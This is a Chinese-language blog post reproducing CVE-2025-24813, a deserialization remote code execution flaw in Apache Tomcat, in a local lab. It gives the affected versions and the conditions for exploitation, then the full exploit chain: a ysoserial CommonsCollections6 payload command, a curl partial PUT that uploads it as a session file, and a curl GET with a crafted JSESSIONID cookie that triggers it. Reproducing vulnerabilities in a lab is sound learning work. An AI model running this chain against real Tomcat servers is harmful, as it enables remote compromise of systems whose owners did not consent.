CVE-2025-24813 RCE复现
前情提要:
某天晚上学长忽然在群里发出一个tomcat的rce漏洞,但前几天在忙找实习的事情,所以今天抽出时间复现一下,指不定面试的时候还可以讲讲
漏洞描述:
apache tomcat在前几天爆出了一个新的反序列化rce漏洞,大致就是攻击者构造恶意的请求,利用特定配置即文件会话持久机制将恶意序列化数据写入服务器中,并在后续访问中会触发反序列化漏洞,进而导致rce
影响版本
● 9.0.0.M1 <= Apache Tomcat <= 9.0.98
● 10.1.0-M1 <= Apache Tomcat <= 10.1.34
● 11.0.0-M1 <= Apache Tomcat <= 11.0.2
漏洞利用条件:
- tomcat的conf/web.xml文件中readonly配置必须为false即DefaultServlet 写入功能启用
- PartialPUT请求支持:tomcat中默认支持分块上传
- 有能够引起反序列化漏洞的依赖如cc3的依赖(commons-collections-3.2.1.jar)
- 文件会话持久化启用:在 conf/context.xml 中配置 PersistentManager 和 FileStore
漏洞环境搭建:
首先idea创建一个maven项目

然后下载一个tomcat,版本在上面的范围里面就好,刚好我之前用的tomcat就在范围之内,不用再换了
下载地址:
https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.98/bin/
这里可以把tomcat的一些jar包导进去,为了方便后续源码分析(下篇文章分析)

然后就是给maven配置tomcat


然后部署工件

然后就好了,最后就是修改一下tomcat的配置
conf/web.xml

conf/context.xml

然后准备工作就做好了,直接运行tomcat,页面正常

漏洞复现
首先用ysoserial生成一个cc6的payload
java -jar ysoserial.jar CommonsCollections6 "Calc" > payload.ser
然后用PUT请求去上传payload
curl -X PUT -H "Content-Range: bytes 0-999/1200" --data-binary @payload.ser http://127.0.0.1:8877/evil/session
然后get请求访问
curl -H "Cookie: JSESSIONID=.evil" http://127.0.0.1:8877/
#默认get请求
然后就弹出计算器了(太好了,是大hacker,我们有救了orz)
源码分析后续会给出,等我面试什么的先结束了~~~

浙公网安备 33010602011771号